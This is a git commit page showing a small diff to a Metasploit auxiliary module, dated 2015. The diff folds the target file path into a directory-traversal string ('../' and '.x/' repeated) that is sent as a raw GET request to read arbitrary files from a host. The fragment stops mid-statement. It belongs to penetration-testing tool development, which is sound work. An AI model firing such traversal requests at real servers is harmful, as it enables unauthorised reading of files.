Changed the traversal variable to just one line

bug/bundler_fix
Roberto Soares 2015-04-08 02:26:59 -03:00
parent 441042ed37
commit dc14c770be
1 changed files with 2 additions and 2 deletions

View File

@ -42,13 +42,13 @@ class Metasploit3 < Msf::Auxiliary
end
def run_host(ip)
traversal = "../" * datastore['DEPTH'] << ".x/" * datastore['DEPTH']
filename = datastore['FILEPATH']
filename = filename[1, filename.length] if filename =~ /^\//
traversal = "../" * datastore['DEPTH'] << ".x/" * datastore['DEPTH'] << filename
res = send_request_raw({
'method' => 'GET',
'uri' => "#{traversal}#{filename}"
'uri' => "#{traversal}"
})
if res &&